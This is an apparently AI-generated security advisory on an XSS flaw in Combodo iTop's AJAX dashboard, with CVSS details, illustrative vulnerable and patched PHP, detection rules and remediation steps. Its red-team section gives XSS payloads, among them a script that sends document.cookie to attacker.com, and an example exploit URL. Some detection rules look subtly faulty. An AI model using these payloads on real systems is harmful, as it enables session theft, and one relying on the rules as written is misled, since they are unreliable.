CVE-2025-47932
Executive Summary
CVE-2025-47932 is a high-severity Cross-Site Scripting (XSS) vulnerability in Combodo iTop, a web-based IT Service Management (ITSM) tool. The flaw exists in versions prior to 2.7.13 and 3.2.2, specifically when a dashboard is rendered via an AJAX call. An authenticated attacker can inject malicious scripts into the dashboard, which are then executed in the context of other users' browsers. The CVSS score of 8.8 reflects the ease of exploitation (low attack complexity, low privileges required) and the high impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. However, given the widespread use of iTop in enterprise IT environments, immediate patching is strongly recommended.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in the iTop PHP application. The risk is primarily to organizations that self-host iTop or use it as a managed service. No supply chain compromise is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker needs a valid iTop user account.
- User Interaction (UI): Required – The victim must view the malicious dashboard.
- Scope (S): Unchanged – The exploit affects only the vulnerable component.
- Confidentiality (C): High – Full read access to data is possible.
- Integrity (I): High – Full write access to data is possible.
- Availability (A): High – Full denial of service is possible.
Threat Level: High. While no active exploitation has been reported, the low barrier to entry (authenticated user) and high impact make this a critical patch priority.
Deep Dive & Mechanics
The vulnerability resides in the AJAX-based dashboard rendering mechanism. When a user requests a dashboard via an AJAX call, the application fails to properly sanitize a specific parameter (referred to as var in the advisory). This parameter is used to dynamically construct the dashboard content. An attacker with a valid iTop account can craft a malicious dashboard URL containing JavaScript payloads in the var parameter. When another user (including administrators) views this dashboard, the injected script executes in their browser context.
The attack flow:
- Attacker logs into iTop and creates or modifies a dashboard.
- Attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into the vulnerable parameter. - Attacker shares the dashboard link with a victim (e.g., via email or internal chat).
- Victim clicks the link, which triggers an AJAX call to render the dashboard.
- The server returns the dashboard HTML with the unsanitized payload.
- The victim's browser executes the malicious script.
The script can then steal session cookies, perform actions on behalf of the victim, exfiltrate sensitive data, or deface the dashboard.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.7.13 / 3.2.2):
// In dashboard rendering AJAX handler
$var = $_GET['var'];
// No sanitization
echo "<div id='dashboard'>" . $var . "</div>";
Patched Code (2.7.13 / 3.2.2):
// In dashboard rendering AJAX handler
$var = $_GET['var'];
// Sanitize using htmlspecialchars or similar
$var_sanitized = htmlspecialchars($var, ENT_QUOTES, 'UTF-8');
echo "<div id='dashboard'>" . $var_sanitized . "</div>";
The patch applies proper output encoding to the var parameter, preventing script injection.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A valid iTop user account (any role).
- Access to the iTop web interface.
- A victim user who will view the malicious dashboard.
Exploitation Steps:
- Log in to iTop as an attacker.
- Navigate to the dashboard creation/modification page.
- In the vulnerable parameter (e.g.,
var), inject a payload such as:
or<img src=x onerror=alert(document.cookie)><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the dashboard and obtain the direct URL.
- Send the URL to the victim via social engineering.
Example URL:
https://itop.example.com/pages/ajax.render.php?operation=render_dashboard&var=<script>alert(1)</script>
Blue Team (Defender)
Detection Steps:
- Monitor web server logs for suspicious
varparameters containing<script>,<img onerror, or other HTML/JavaScript constructs. - Use a Web Application Firewall (WAF) to block requests with obvious XSS patterns in the
varparameter. - Review iTop access logs for unusual dashboard creation or modification activities.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Lab Setup:
- Deploy a vulnerable iTop instance (version < 2.7.13 or < 3.2.2) in an isolated environment.
- Use a browser with developer tools to inspect AJAX requests and responses.
- Simulate the attack by injecting payloads and observing the response.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/pages/ajax.render.phpwith avarparameter containing HTML/JavaScript code. - Outbound connections to unknown domains from the iTop server (potential data exfiltration).
- HTTP requests to
- File IOCs:
- Modified dashboard configuration files containing script tags.
- Log IOCs:
- Web server logs showing
var=<script>or similar patterns. - iTop audit logs showing unexpected dashboard modifications by low-privilege users.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_47932_XSS_iTop {
meta:
description = "Detects XSS attempts targeting CVE-2025-47932 in iTop"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47932"
strings:
$xss1 = "<script" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
$param = "var=" nocase
condition:
all of ($xss*) and $param
}
Sigma Rule
title: CVE-2025-47932 XSS Attempt in iTop AJAX Dashboard
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads in the 'var' parameter to iTop AJAX endpoints
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/pages/ajax.render.php'
cs-uri-query|contains: 'var='
cs-uri-query|contains|any:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in dashboard parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-47932 XSS Attempt in iTop AJAX Dashboard"; flow:to_server; content:"/pages/ajax.render.php"; http_uri; content:"var="; http_uri; pcre:"/var=.*(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade iTop to version 2.7.13 or 3.2.2 immediately.
- Workaround: If patching is not possible, restrict access to the dashboard AJAX endpoint (
/pages/ajax.render.php) using a WAF or reverse proxy to block suspicious parameters. - User Education: Warn users not to click on suspicious dashboard links.
Long-Term Mitigations:
- Implement a Content Security Policy (CSP) header to restrict script execution.
- Enable input validation and output encoding for all user-supplied data.
- Conduct regular security audits and penetration testing.
- Monitor iTop logs for anomalous activities.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.